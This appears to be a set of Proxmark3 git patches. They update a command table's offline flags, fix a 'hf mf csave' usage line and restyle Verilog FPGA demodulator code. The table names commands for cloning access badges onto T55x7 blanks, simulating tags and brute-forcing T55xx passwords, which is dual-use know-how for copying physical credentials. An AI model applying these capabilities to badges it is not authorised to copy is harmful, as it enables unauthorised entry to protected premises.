`|Y |`this help` |`lf indala demod `|Y |`demodulate an indala tag (PSK1) from GraphBuffer` |`lf indala altdemod `|Y |`alternative method to Demodulate samples for Indala 64 bit UID (option '224' for 224 bit)` -|`lf indala read `|Y |`read an Indala Prox tag from the antenna` -|`lf indala clone `|Y |`clone Indala tag to T55x7` -|`lf indala sim `|Y |`simulate Indala tag` +|`lf indala read `|N |`read an Indala Prox tag from the antenna` +|`lf indala clone `|N |`clone Indala tag to T55x7` +|`lf indala sim `|N |`simulate Indala tag` ### lf io @@ -588,10 +592,10 @@ |------- |------- |----------- |`lf io help `|Y |`this help` |`lf io demod `|Y |`demodulate an IOProx tag from the GraphBuffer` -|`lf io read `|Y |`attempt to read and extract tag data` -|`lf io clone `|Y |`clone IOProx tag to T55x7 (or to q5/T5555)` -|`lf io sim `|Y |`simulate IOProx tag` -|`lf io watch `|Y |`continuously watch for cards. Reader mode` +|`lf io read `|N |`attempt to read and extract tag data` +|`lf io clone `|N |`clone IOProx tag to T55x7 (or to q5/T5555)` +|`lf io sim `|N |`simulate IOProx tag` +|`lf io watch `|N |`continuously watch for cards. Reader mode` ### lf jablotron @@ -601,11 +605,10 @@ |command |offline |description |------- |------- |----------- |`lf jablotron help `|Y |`This help` -|`lf jablotron slurdge `|Y |`Demod slurdge ..` |`lf jablotron demod `|Y |`Demodulate an Jablotron tag from the GraphBuffer` -|`lf jablotron read `|Y |`Attempt to read and extract tag data from the antenna` -|`lf jablotron clone `|Y |`clone jablotron tag to T55x7 (or to q5/T5555)` -|`lf jablotron sim `|Y |`simulate jablotron tag` +|`lf jablotron read `|N |`Attempt to read and extract tag data from the antenna` +|`lf jablotron clone `|N |`clone jablotron tag to T55x7 (or to q5/T5555)` +|`lf jablotron sim `|N |`simulate jablotron tag` ### lf keri @@ -616,9 +619,9 @@ |------- |------- |----------- |`lf keri help `|Y |`This help` |`lf keri demod `|Y |`Demodulate an KERI tag from the GraphBuffer` -|`lf keri read `|Y |`Attempt to read and extract tag data from the antenna` -|`lf keri clone `|Y |`clone KERI tag to T55x7 (or to q5/T5555)` -|`lf keri sim `|Y |`simulate KERI tag` +|`lf keri read `|N |`Attempt to read and extract tag data from the antenna` +|`lf keri clone `|N |`clone KERI tag to T55x7 (or to q5/T5555)` +|`lf keri sim `|N |`simulate KERI tag` ### lf nedap @@ -630,9 +633,9 @@ |`lf nedap help `|Y |`This help` |`lf nedap demod `|Y |`Demodulate Nedap tag from the GraphBuffer` |`lf nedap generate `|Y |`Generate Nedap bitstream in DemodBuffer` -|`lf nedap read `|Y |`Attempt to read and extract tag data from the antenna` -|`lf nedap clone `|Y |`Clone Nedap tag to T55x7` -|`lf nedap sim `|Y |`Simulate Nedap tag` +|`lf nedap read `|N |`Attempt to read and extract tag data from the antenna` +|`lf nedap clone `|N |`Clone Nedap tag to T55x7` +|`lf nedap sim `|N |`Simulate Nedap tag` ### lf nexwatch @@ -643,9 +646,9 @@ |------- |------- |----------- |`lf nexwatch help `|Y |`This help` |`lf nexwatch demod `|Y |`Demodulate a NexWatch tag (nexkey, quadrakey) from the GraphBuffer` -|`lf nexwatch read `|Y |`Attempt to Read and Extract tag data from the antenna` -|`lf nexwatch clone `|Y |`clone NexWatch tag to T55x7` -|`lf nexwatch sim `|Y |`simulate NexWatch tag` +|`lf nexwatch read `|N |`Attempt to Read and Extract tag data from the antenna` +|`lf nexwatch clone `|N |`clone NexWatch tag to T55x7` +|`lf nexwatch sim `|N |`simulate NexWatch tag` ### lf noralsy @@ -656,9 +659,9 @@ |------- |------- |----------- |`lf noralsy help `|Y |`This help` |`lf noralsy demod `|Y |`Demodulate an Noralsy tag from the GraphBuffer` -|`lf noralsy read `|Y |`Attempt to read and extract tag data from the antenna` -|`lf noralsy clone `|Y |`clone Noralsy tag to T55x7 (or to q5/T5555)` -|`lf noralsy sim `|Y |`simulate Noralsy tag` +|`lf noralsy read `|N |`Attempt to read and extract tag data from the antenna` +|`lf noralsy clone `|N |`clone Noralsy tag to T55x7 (or to q5/T5555)` +|`lf noralsy sim `|N |`simulate Noralsy tag` ### lf motorola @@ -669,9 +672,9 @@ |------- |------- |----------- |`lf motorola help `|Y |`This help` |`lf motorola demod `|Y |`Demodulate an MOTOROLA tag from the GraphBuffer` -|`lf motorola read `|Y |`Attempt to read and extract tag data from the antenna` -|`lf motorola clone `|Y |`clone MOTOROLA tag to T55x7` -|`lf motorola sim `|Y |`simulate MOTOROLA tag` +|`lf motorola read `|N |`Attempt to read and extract tag data from the antenna` +|`lf motorola clone `|N |`clone MOTOROLA tag to T55x7` +|`lf motorola sim `|N |`simulate MOTOROLA tag` ### lf pac @@ -682,9 +685,9 @@ |------- |------- |----------- |`lf pac help `|Y |`This help` |`lf pac demod `|Y |`Demodulate a PAC tag from the GraphBuffer` -|`lf pac read `|Y |`Attempt to read and extract tag data from the antenna` -|`lf pac clone `|Y |`clone PAC tag to T55x7` -|`lf pac sim `|Y |`simulate PAC tag` +|`lf pac read `|N |`Attempt to read and extract tag data from the antenna` +|`lf pac clone `|N |`clone PAC tag to T55x7` +|`lf pac sim `|N |`simulate PAC tag` ### lf paradox @@ -695,9 +698,9 @@ |------- |------- |----------- |`lf paradox help `|Y |`This help` |`lf paradox demod `|Y |`Demodulate a Paradox FSK tag from the GraphBuffer` -|`lf paradox read `|Y |`Attempt to read and Extract tag data from the antenna` -|`lf paradox clone `|Y |`clone paradox tag to T55x7` -|`lf paradox sim `|Y |`simulate paradox tag` +|`lf paradox read `|N |`Attempt to read and Extract tag data from the antenna` +|`lf paradox clone `|N |`clone paradox tag to T55x7` +|`lf paradox sim `|N |`simulate paradox tag` ### lf pcf7931 @@ -707,8 +710,8 @@ |command |offline |description |------- |------- |----------- |`lf pcf7931 help `|Y |`This help` -|`lf pcf7931 read `|Y |`Read content of a PCF7931 transponder` -|`lf pcf7931 write `|Y |`Write data on a PCF7931 transponder.` +|`lf pcf7931 read `|N |`Read content of a PCF7931 transponder` +|`lf pcf7931 write `|N |`Write data on a PCF7931 transponder.` |`lf pcf7931 config `|Y |`Configure the password, the tags initialization delay and time offsets (optional)` @@ -719,9 +722,9 @@ |command |offline |description |------- |------- |----------- |`lf presco help `|Y |`This help` -|`lf presco read `|Y |`Attempt to read and Extract tag data` -|`lf presco clone `|Y |`clone presco tag to T55x7 (or to q5/T5555)` -|`lf presco sim `|Y |`simulate presco tag` +|`lf presco read `|N |`Attempt to read and Extract tag data` +|`lf presco clone `|N |`clone presco tag to T55x7 (or to q5/T5555)` +|`lf presco sim `|N |`simulate presco tag` ### lf pyramid @@ -732,9 +735,9 @@ |------- |------- |----------- |`lf pyramid help `|Y |`this help` |`lf pyramid demod `|Y |`demodulate a Pyramid FSK tag from the GraphBuffer` -|`lf pyramid read `|Y |`attempt to read and extract tag data` -|`lf pyramid clone `|Y |`clone pyramid tag to T55x7 (or to q5/T5555)` -|`lf pyramid sim `|Y |`simulate pyramid tag` +|`lf pyramid read `|N |`attempt to read and extract tag data` +|`lf pyramid clone `|N |`clone pyramid tag to T55x7 (or to q5/T5555)` +|`lf pyramid sim `|N |`simulate pyramid tag` ### lf securakey @@ -745,9 +748,9 @@ |------- |------- |----------- |`lf securakey help `|Y |`This help` |`lf securakey demod `|Y |`Demodulate an Securakey tag from the GraphBuffer` -|`lf securakey read `|Y |`Attempt to read and extract tag data from the antenna` -|`lf securakey clone `|Y |`clone Securakey tag to T55x7` -|`lf securakey sim `|Y |`simulate Securakey tag` +|`lf securakey read `|N |`Attempt to read and extract tag data from the antenna` +|`lf securakey clone `|N |`clone Securakey tag to T55x7` +|`lf securakey sim `|N |`simulate Securakey tag` ### lf ti @@ -758,8 +761,8 @@ |------- |------- |----------- |`lf ti help `|Y |`This help` |`lf ti demod `|Y |`Demodulate raw bits for TI-type LF tag from the GraphBuffer` -|`lf ti read `|Y |`Read and decode a TI 134 kHz tag` -|`lf ti write `|Y |`Write new data to a r/w TI 134 kHz tag` +|`lf ti read `|N |`Read and decode a TI 134 kHz tag` +|`lf ti write `|N |`Write new data to a r/w TI 134 kHz tag` ### lf t55xx @@ -769,26 +772,26 @@ |command |offline |description |------- |------- |----------- |`lf t55xx help `|Y |`This help` -|`lf t55xx bruteforce `|Y |` Simple bruteforce attack to find password` +|`lf t55xx bruteforce `|N |` Simple bruteforce attack to find password` |`lf t55xx config `|Y |`Set/Get T55XX configuration (modulation, inverted, offset, rate)` -|`lf t55xx chk `|Y |`Check passwords from dictionary/flash` -|`lf t55xx clonehelp `|Y |`Shows the available clone commands` -|`lf t55xx dangerraw `|Y |`Sends raw bitstream. Dangerous, do not use!! b t ` +|`lf t55xx chk `|N |`Check passwords from dictionary/flash` +|`lf t55xx clonehelp `|N |`Shows the available clone commands` +|`lf t55xx dangerraw `|N |`Sends raw bitstream. Dangerous, do not use!! b t ` |`lf t55xx detect `|Y |`[1] Try detecting the tag modulation from reading the configuration block.` -|`lf t55xx deviceconfig `|Y |`Set/Get T55XX device configuration (startgap, writegap, write0, write1, readgap` -|`lf t55xx dump `|Y |`[password] [o] Dump T55xx card Page 0 block 0-7. Optional [password], [override]` -|`lf t55xx restore `|Y |`f [p ] Restore T55xx card Page 0 / Page 1 blocks` +|`lf t55xx deviceconfig `|N |`Set/Get T55XX device configuration (startgap, writegap, write0, write1, readgap` +|`lf t55xx dump `|N |`[password] [o] Dump T55xx card Page 0 block 0-7. Optional [password], [override]` +|`lf t55xx restore `|N |`f [p ] Restore T55xx card Page 0 / Page 1 blocks` |`lf t55xx info `|Y |`[1] Show T55x7 configuration data (page 0/ blk 0)` -|`lf t55xx p1detect `|Y |`[1] Try detecting if this is a t55xx tag by reading page 1` -|`lf t55xx protect `|Y |`Password protect tag` -|`lf t55xx read `|Y |`b p [password] [o] [1] -- Read T55xx block data. Optional [p password], [override], [page1]` -|`lf t55xx resetread `|Y |`Send Reset Cmd then lf read the stream to attempt to identify the start of it (needs a demod and/or plot after)` -|`lf t55xx recoverpw `|Y |`[password] Try to recover from bad password write from a cloner. Only use on PW protected chips!` -|`lf t55xx special `|Y |`Show block changes with 64 different offsets` +|`lf t55xx p1detect `|N |`[1] Try detecting if this is a t55xx tag by reading page 1` +|`lf t55xx protect `|N |`Password protect tag` +|`lf t55xx read `|N |`b p [password] [o] [1] -- Read T55xx block data. Optional [p password], [override], [page1]` +|`lf t55xx resetread `|N |`Send Reset Cmd then lf read the stream to attempt to identify the start of it (needs a demod and/or plot after)` +|`lf t55xx recoverpw `|N |`[password] Try to recover from bad password write from a cloner. Only use on PW protected chips!` +|`lf t55xx special `|N |`Show block changes with 64 different offsets` |`lf t55xx trace `|Y |`[1] Show T55x7 traceability data (page 1/ blk 0-1)` -|`lf t55xx wakeup `|Y |`Send AOR wakeup command` -|`lf t55xx wipe `|Y |`[q] Wipe a T55xx tag and set defaults (will destroy any data on tag)` -|`lf t55xx write `|Y |`b d p [password] [1] -- Write T55xx block data. Optional [p password], [page1]` +|`lf t55xx wakeup `|N |`Send AOR wakeup command` +|`lf t55xx wipe `|N |`[q] Wipe a T55xx tag and set defaults (will destroy any data on tag)` +|`lf t55xx write `|N |`b d p [password] [1] -- Write T55xx block data. Optional [p password], [page1]` ### lf viking @@ -799,9 +802,9 @@ |------- |------- |----------- |`lf viking help `|Y |`This help` |`lf viking demod `|Y |`Demodulate a Viking tag from the GraphBuffer` -|`lf viking read `|Y |`Attempt to read and Extract tag data from the antenna` -|`lf viking clone `|Y |`clone Viking tag to T55x7 (or to q5/T5555)` -|`lf viking sim `|Y |`simulate Viking tag` +|`lf viking read `|N |`Attempt to read and Extract tag data from the antenna` +|`lf viking clone `|N |`clone Viking tag to T55x7 (or to q5/T5555)` +|`lf viking sim `|N |`simulate Viking tag` ### lf visa2000 @@ -812,9 +815,9 @@ |------- |------- |----------- |`lf visa2000 help `|Y |`This help` |`lf visa2000 demod `|Y |`demodulate an VISA2000 tag from the GraphBuffer` -|`lf visa2000 read `|Y |`attempt to read and extract tag data from the antenna` -|`lf visa2000 clone `|Y |`clone Visa2000 tag to T55x7 (or to q5/T5555)` -|`lf visa2000 sim `|Y |`simulate Visa2000 tag` +|`lf visa2000 read `|N |`attempt to read and extract tag data from the antenna` +|`lf visa2000 clone `|N |`clone Visa2000 tag to T55x7 (or to q5/T5555)` +|`lf visa2000 sim `|N |`simulate Visa2000 tag` ### mem @@ -824,12 +827,12 @@ |command |offline |description |------- |------- |----------- |`mem help `|Y |`This help` -|`mem spiffs `|Y |`High level SPI FileSystem Flash manipulation [rdv40]` -|`mem spibaud `|Y |`Set Flash memory Spi baudrate [rdv40]` -|`mem info `|Y |`Flash memory information [rdv40]` -|`mem load `|Y |`Load data into flash memory [rdv40]` -|`mem dump `|Y |`Dump data from flash memory [rdv40]` -|`mem wipe `|Y |`Wipe data from flash memory [rdv40]` +|`mem spiffs `|N |`High level SPI FileSystem Flash manipulation [rdv40]` +|`mem spibaud `|N |`Set Flash memory Spi baudrate [rdv40]` +|`mem info `|N |`Flash memory information [rdv40]` +|`mem load `|N |`Load data into flash memory [rdv40]` +|`mem dump `|N |`Dump data from flash memory [rdv40]` +|`mem wipe `|N |`Wipe data from flash memory [rdv40]` ### reveng @@ -843,13 +846,13 @@ |command |offline |description |------- |------- |----------- |`sc help `|Y |`This help` -|`sc list `|Y |`List ISO 7816 history` -|`sc info `|Y |`Tag information` -|`sc reader `|Y |`Act like an IS07816 reader` -|`sc raw `|Y |`Send raw hex data to tag` +|`sc list `|N |`List ISO 7816 history` +|`sc info `|N |`Tag information` +|`sc reader `|N |`Act like an IS07816 reader` +|`sc raw `|N |`Send raw hex data to tag` |`sc upgrade `|Y |`Upgrade sim module firmware` -|`sc setclock `|Y |`Set clock speed` -|`sc brute `|Y |`Bruteforce SFI` +|`sc setclock `|N |`Set clock speed` +|`sc brute `|N |`Bruteforce SFI` ### script From a88ec7c58a4264056980bc0c4f73feaa7802a755 Mon Sep 17 00:00:00 2001 From: Nick Date: Fri, 10 Jan 2020 15:00:50 +0000 Subject: [PATCH 282/418] Correct usage for 'hf mf csave' Corrected csave usage to show `o` flag for output file instead of `i`. --- client/cmdhfmf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 4fe5370fc..9733059e9 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -445,7 +445,7 @@ static int usage_hf14_csave(void) { PrintAndLogEx(NORMAL, "It saves `magic Chinese` card dump into the file `filename.eml` or `cardID.eml`"); PrintAndLogEx(NORMAL, "or into emulator memory"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Usage: hf mf csave [h] [e] [u] [card memory] i "); + PrintAndLogEx(NORMAL, "Usage: hf mf csave [h] [e] [u] [card memory] o "); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " e save data to emulator memory"); From 442bab070646ad3febc12f91b41ba111da9e004f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 00:18:34 +0100 Subject: [PATCH 283/418] style --- fpga/hi_get_trace.v | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/fpga/hi_get_trace.v b/fpga/hi_get_trace.v index 3e7412f7a..aae4054cf 100755 --- a/fpga/hi_get_trace.v +++ b/fpga/hi_get_trace.v @@ -77,7 +77,9 @@ begin write_enable2 <= 1'b0; end else + begin addr <= addr + 1; + end end end else @@ -92,15 +94,17 @@ begin write_enable1 <= 1'b0; write_enable2 <= 1'b0; if (previous_major_mode != `FPGA_MAJOR_MODE_OFF && previous_major_mode != `FPGA_MAJOR_MODE_HF_GET_TRACE) // just switched off + begin start_addr <= addr; + end end end // (2+1)k RAM reg [7:0] D_out1, D_out2; -reg [7:0] ram1 [2047:0]; -reg [7:0] ram2 [1023:0]; +reg [7:0] ram1 [2047:0]; // 2048 u8 +reg [7:0] ram2 [1023:0]; // 1024 u8 always @(negedge ck_1356megb) begin @@ -112,7 +116,7 @@ begin else D_out1 <= ram1[addr[10:0]]; if (write_enable2) - begin +begin ram2[addr[9:0]] <= adc_d; D_out2 <= adc_d; end @@ -128,22 +132,25 @@ reg [7:0] shift_out; always @(negedge ck_1356megb) begin - if(clock_cnt[3:0] == 4'd0) // update shift register every 16 clock cycles + if (clock_cnt[3:0] == 4'd0) // update shift register every 16 clock cycles begin - if(clock_cnt[6:4] == 3'd0) // either load new value + if (clock_cnt[6:4] == 3'd0) // either load new value begin - if (addr[11] == 1'b0) - shift_out <= D_out1; - else - shift_out <= D_out2; + if (addr[11] == 1'b0) + shift_out <= D_out1; + else + shift_out <= D_out2; end - else // or shift left - shift_out[7:1] <= shift_out[6:0]; + else + begin + // or shift left + shift_out[7:1] <= shift_out[6:0]; + end end ssp_clk <= ~clock_cnt[3]; // ssp_clk frequency = 13,56MHz / 16 = 847,5 kHz - if(clock_cnt[6:4] == 3'b000) // set ssp_frame for 0...31 + if (clock_cnt[6:4] == 3'b000) // set ssp_frame for 0...31 ssp_frame <= 1'b1; else ssp_frame <= 1'b0; From 5b7882fc4fe6274890105578040d3592bc5dc3db Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 00:19:12 +0100 Subject: [PATCH 284/418] style --- fpga/hi_flite.v | 304 ++++++++++++++++++++---------------------------- 1 file changed, 129 insertions(+), 175 deletions(-) diff --git a/fpga/hi_flite.v b/fpga/hi_flite.v index 18d3a46ac..aa1f12925 100644 --- a/fpga/hi_flite.v +++ b/fpga/hi_flite.v @@ -1,11 +1,17 @@ +/* + This code demodulates and modulates signal as described in ISO/IEC 18092. + That includes packets used for Felica, NFC Tag 3, etc. (which do overlap) + simple envelope following algorithm is used (modification of fail0verflow LF one) + is used to combat some nasty aliasing effect with testing phone (envelope looked like sine wave) -//this code demodulates and modulates signal as described in ISO/IEC 18092. That includes packets used for Felica, NFC Tag 3, etc. (which do overlap) -//simple envelope following algorithm is used (modification of fail0verflow LF one) is used to combat some nasty aliasing effect with testing phone (envelope looked like sine wave) -// only 212 kbps (fc/64) for now 414 is relatively straightforward... though for reader, the selection has to come from ARM -// modulation waits for -//market sprocket -doesn't really mean anything ;) -//redefining mod_type: bits 210: bit 2 - reader drive/power on/off, bit 1 - speed bit, 0:212, 1 -424 bit 0: listen or modulate + Speeds supported: only 212 kbps (fc/64) for now. Todo: 414 kbps + though for reader, the selection has to come from ARM. modulation waits for market sprocket -doesn't really mean anything + mod_type: bits 210: + bit 2 : reader drive/power on/off + bit 1 : speed bit, 0 : 212, 1 :424 + bit 0 : listen or modulate +*/ module hi_flite( pck0, ck_1356meg, ck_1356megb, @@ -14,7 +20,7 @@ module hi_flite( ssp_frame, ssp_din, ssp_dout, ssp_clk, cross_hi, cross_lo, dbg, - mod_type // used + mod_type ); input pck0, ck_1356meg, ck_1356megb; @@ -25,79 +31,69 @@ module hi_flite( output ssp_frame, ssp_din, ssp_clk; input cross_hi, cross_lo; output dbg; - input [2:0] mod_type; // used. + input [2:0] mod_type; assign dbg=0; -wire power= mod_type[2]; -wire speed= mod_type[1]; -wire disabl= mod_type[0]; +wire power = mod_type[2]; +wire speed = mod_type[1]; +wire disabl = mod_type[0]; // Most off, oe4 for modulation; // Trying reader emulation (would presumably just require switching power on, but I am not sure) - //;// 1'b0; assign pwr_lo = 1'b0; - - -//512x64/fc -wait before ts0, 32768 ticks -//tslot: 256*64/fc - +// 512x64/fc -wait before ts0, 32768 ticks +// tslot: 256*64/fc assign adc_clk = ck_1356meg; - ///heuristic values for initial thresholds. seem to work OK -`define imin 70//(13'd256) -`define imax 180//(-13'd256) -`define ithrmin 91//-13'd8 -`define ithrmax 160// 13'd8 +`define imin 70 // (13'd256) +`define imax 180 // (-13'd256) +`define ithrmin 91 // -13'd8 +`define ithrmax 160 // 13'd8 `define min_bitdelay_212 8 //minimum values and corresponding thresholds reg [8:0] curmin=`imin; - reg [8:0] curminthres=`ithrmin; - reg [8:0] curmaxthres=`ithrmax; reg [8:0] curmax=`imax; - //signal state, 1-not modulated, 0 -modulated reg after_hysteresis = 1'b1; //state machine for envelope tracking reg [1:0] state=1'd0; - //lower edge detected, trying to detect first bit of SYNC (b24d, 1011001001001101) reg try_sync=1'b0; //detected first sync bit, phase frozen reg did_sync=0; +`define bithalf_212 32 // half-bit length for 212 kbit +`define bitmlen_212 63 // bit transition edge -`define bithalf_212 32 //half-bit length for 212 kbit -`define bitmlen_212 63 //bit transition edge +`define bithalf_424 16 // half-bit length for 212 kbit +`define bitmlen_424 31 // bit transition edge -`define bithalf_424 16 //half-bit length for 212 kbit -`define bitmlen_424 31 //bit transition edge - -wire [7:0]bithalf= speed ? `bithalf_424 : `bithalf_212; -wire [7:0]bitmlen= speed ? `bitmlen_424 : `bitmlen_212; +wire [7:0] bithalf = speed ? `bithalf_424 : `bithalf_212; +wire [7:0] bitmlen = speed ? `bitmlen_424 : `bitmlen_212; //ssp clock and current values reg ssp_clk; reg ssp_frame; -reg curbit=1'b0; +reg curbit = 1'b0; -reg [7:0] fccount=8'd0; // in-bit tick counter. Counts carrier cycles from the first lower edge detected, reset on every manchester bit detected +reg [7:0] fccount = 8'd0; // in-bit tick counter. Counts carrier cycles from the first lower edge detected, reset on every manchester bit detected -reg [7:0] tsinceedge=8'd0;// ticks from last edge, desync if the valye is too large +reg [7:0] tsinceedge = 8'd0;// ticks from last edge, desync if the valye is too large -reg zero=1'b0; // Manchester first halfbit low second high corresponds to this value. It has been known to change. SYNC is used to set it +reg zero = 1'b0; // Manchester first halfbit low second high corresponds to this value. It has been known to change. SYNC is used to set it //ssp counter for transfer and framing -reg [8:0] ssp_cnt=9'd0; +reg [8:0] ssp_cnt = 9'd0; always @(posedge adc_clk) ssp_cnt <= (ssp_cnt + 1); @@ -108,238 +104,202 @@ always @(posedge adc_clk) always @(negedge adc_clk) begin //count fc/64 - transfer bits to ARM at the rate they are received - if( ((~speed) && (ssp_cnt[5:0] == 6'b000000)) || (speed &&(ssp_cnt[4:0] == 5'b00000))) + if( ((~speed) && (ssp_cnt[5:0] == 6'b000000)) || (speed && (ssp_cnt[4:0] == 5'b00000))) begin ssp_clk <= 1'b1; - // if(mod_type[2]) - // begin - // ssp_din<=outp[0];//after_hysteresis; - - //outp<={1'b0,outp[7:1]}; - // end - // else ssp_din <= curbit; - - //sample ssp_dout - end if( ( (~speed) && (ssp_cnt[5:0] == 6'b100000)) ||(speed && ssp_cnt[4:0] == 5'b10000)) ssp_clk <= 1'b0; //create frame pulses. TBH, I still don't know what they do exactly, but they are crucial for ARM->FPGA transfer. If the frame is in the beginning of the byte, transfer slows to a crawl for some reason // took me a day to figure THAT out. - if(( (~speed) && (ssp_cnt[8:0] == 9'd31))||(speed && ssp_cnt[7:0] == 8'd15)) + if(( (~speed) && (ssp_cnt[8:0] == 9'd31)) || (speed && ssp_cnt[7:0] == 8'd15)) begin ssp_frame <= 1'b1; end - if(( (~speed) && (ssp_cnt[8:0] == 9'b1011111))||(speed &&ssp_cnt[7:0] == 8'b101111) ) + if(( (~speed) && (ssp_cnt[8:0] == 9'b1011111)) || (speed &&ssp_cnt[7:0] == 8'b101111) ) begin ssp_frame <= 1'b0; end end - - - //send current bit (detected in SNIFF mode or the one being modulated in MOD mode, 0 otherwise) -reg ssp_din;//= outp[0]; - - +reg ssp_din; //previous signal value, mostly to detect SYNC -reg prv =1'b1; - - -reg[7:0] mid=8'd128; //for simple error correction in mod/demod detection, use maximum of modded/demodded in given interval. Maybe 1 bit is extra? but better safe than sorry. +reg prv = 1'b1; +// for simple error correction in mod/demod detection, use maximum of modded/demodded in given interval. Maybe 1 bit is extra? but better safe than sorry. +reg[7:0] mid = 8'd128; // set TAGSIM__MODULATE on ARM if we want to write... (frame would get lost if done mid-frame...) // start sending over 1s on ssp->arm when we start sending preamble - -reg counting_desync=1'b0; // are we counting bits since last frame? -reg sending=1'b0; // are we actively modulating? -reg [11:0] bit_counts=12'd0;///for timeslots... only support ts=0 for now, at 212 speed -512 fullbits from end of frame. One hopes. might remove those? +// reg sending = 1'b0; // are we actively modulating? +reg [11:0] bit_counts = 12'd0; // for timeslots. only support ts=0 for now, at 212 speed -512 fullbits from end of frame. One hopes. might remove those? -//reg [2:0]old_mod; - -//always @(mod_type) //when moving from modulate_mode -//begin -//if (mod_type[2]==1&&old_mod[2]==0) -// bit_counts=0; -//old_mod=mod_type; -//end //we need some way to flush bit_counts triggers on mod_type changes don't compile reg dlay; -always @(negedge adc_clk) //every data ping? +always @(negedge adc_clk) // every data ping? begin //envelope follow code... //////////// - - //move the counter to the outside... - // if (adc_d>=curminthres||try_sync) - if(fccount==bitmlen) + if (fccount == bitmlen) begin - if((~try_sync)&&(adc_d768) // should be over ts0 now, without ARM interference... stop counting... + dlay <= ssp_dout; + if (bit_counts > 768) // should be over ts0 now, without ARM interference... stop counting... begin - bit_counts<=0; - // counting_desync<=0; + bit_counts <= 0; end else - if((power)) - bit_counts<=0; + if (power) + bit_counts <= 0; else - bit_counts<=bit_counts+1; - // end + bit_counts <= bit_counts + 1; end else begin - if((~try_sync)&&(adc_dcurmaxthres) //rising edge + // rising edge + if (adc_d > curmaxthres) begin case (state) 0: begin - curmax <= adc_d>`imax? adc_d :`imax; + curmax <= adc_d > `imax? adc_d : `imax; state <= 2; end 1: begin - curminthres <= ( (curmin>>1)+(curmin>>2)+(curmin>>4)+(curmax>>3)+(curmax>>4)); //threshold: 0.1875 max + 0.8125 min - curmaxthres <= ( (curmax>>1)+(curmax>>2)+(curmax>>4)+(curmin>>3)+(curmin>>4)); - curmax <= adc_d>155? adc_d :155; // to hopefully prevent overflow from spikes going up to 255 + curminthres <= ((curmin >> 1) + (curmin >> 2) + (curmin >> 4) + (curmax >> 3) + (curmax >> 4)); //threshold: 0.1875 max + 0.8125 min + curmaxthres <= ((curmax >> 1) + (curmax >> 2) + (curmax >> 4) + (curmin >> 3) + (curmin >> 4)); + curmax <= adc_d > 155 ? adc_d : 155; // to hopefully prevent overflow from spikes going up to 255 state <= 2; end 2: begin - if (adc_d>curmax) + if (adc_d > curmax) curmax <= adc_d; end default: begin end endcase - after_hysteresis <=1'b1; + after_hysteresis <= 1'b1; if(try_sync) - tsinceedge<=0; + tsinceedge <= 0; end else if (adc_d>1)+(curmin>>2)+(curmin>>4)+(curmax>>3)+(curmax>>4)); - curmaxthres <= ( (curmax>>1)+(curmax>>2)+(curmax>>4)+(curmin>>3)+(curmin>>4)); - curmin <=adc_d<`imin? adc_d :`imin; - state <=1; + curminthres <= ( (curmin >> 1) + (curmin >> 2) + (curmin >> 4) + (curmax >> 3) + (curmax >> 4)); + curmaxthres <= ( (curmax >> 1) + (curmax >> 2) + (curmax >> 4) + (curmin >> 3) + (curmin >> 4)); + curmin <= adc_d < `imin ? adc_d : `imin; + state <= 1; end default: begin end endcase - after_hysteresis <=0; + after_hysteresis <= 0; if (~try_sync ) //begin modulation, lower edge... begin - try_sync <=1; - //counting_desync<=1'b0; + try_sync <= 1; fccount <= 1; - did_sync<=0; - curbit<=0; - mid <=8'd127; - tsinceedge<=0; - prv <=1; + did_sync <= 0; + curbit <= 0; + mid <= 8'd127; + tsinceedge <= 0; + prv <= 1; end else begin - tsinceedge<=0; + tsinceedge <= 0; end end else //stable state, low or high begin - curminthres <= ( (curmin>>1)+(curmin>>2)+(curmin>>4)+(curmax>>3)+(curmax>>4)); - curmaxthres <= ( (curmax>>1)+(curmax>>2)+(curmax>>4)+(curmin>>3)+(curmin>>4)); - state <=0; + curminthres <= ( (curmin >> 1) + (curmin >> 2) + (curmin >> 4) + (curmax >> 3) + (curmax >> 4)); + curmaxthres <= ( (curmax >> 1) + (curmax >> 2) + (curmax >> 4) + (curmin >> 3) + (curmin >> 4)); + state <= 0; if (try_sync ) begin - if (tsinceedge>=(128)) + if (tsinceedge >= (128)) begin //we might need to start counting... assuming ARM wants to reply to the frame. - // counting_desync<=1'b1; - bit_counts<=1;// i think? 128 is about 2 bits passed... but 1 also works - try_sync<=0; - did_sync<=0;//desync - curmin <=`imin; //reset envelope - curmax <=`imax; - curminthres <=`ithrmin; - curmaxthres <=`ithrmax; - prv <=1; - tsinceedge <=0; - after_hysteresis <=1'b1; - curbit <=0; - mid <=8'd128; + bit_counts <= 1;// i think? 128 is about 2 bits passed... but 1 also works + try_sync <= 0; + did_sync <= 0;//desync + curmin <= `imin; //reset envelope + curmax <= `imax; + curminthres <= `ithrmin; + curmaxthres <= `ithrmax; + prv <= 1; + tsinceedge <= 0; + after_hysteresis <= 1'b1; + curbit <= 0; + mid <= 8'd128; end else - tsinceedge<=(tsinceedge+1); + tsinceedge <= (tsinceedge + 1); end end - - - if (try_sync && tsinceedge<128) + if (try_sync && tsinceedge < 128) begin //detect bits in their middle ssp sampling is in sync, so it would sample all bits in order - if (fccount==bithalf) + if (fccount == bithalf) begin - if ((~did_sync) && ((prv==1&&(mid>128))||(prv==0&&(mid<=128)))) + if ((~did_sync) && ((prv == 1 && (mid > 128))||(prv == 0 && (mid <= 128)))) begin //sync the Zero, and set curbit roperly - did_sync <=1'b1; + did_sync <= 1'b1; zero <= ~prv;// 1-prv - curbit <=1; + curbit <= 1; end else - curbit <= (mid>128) ? (~zero):zero; + curbit <= (mid > 128) ? (~zero) : zero; - prv <=(mid>128) ?1:0; + prv <= (mid > 128) ? 1 : 0; - if(adc_d>curmaxthres) - mid <=8'd129; - else if (adc_d curmaxthres) + mid <= 8'd129; + else if (adc_d < curminthres) + mid <= 8'd127; else begin if (after_hysteresis) begin - mid <=8'd129; + mid <= 8'd129; end else begin - mid<=8'd127; + mid <= 8'd127; end end @@ -348,26 +308,26 @@ begin begin if (fccount==bitmlen) begin - // 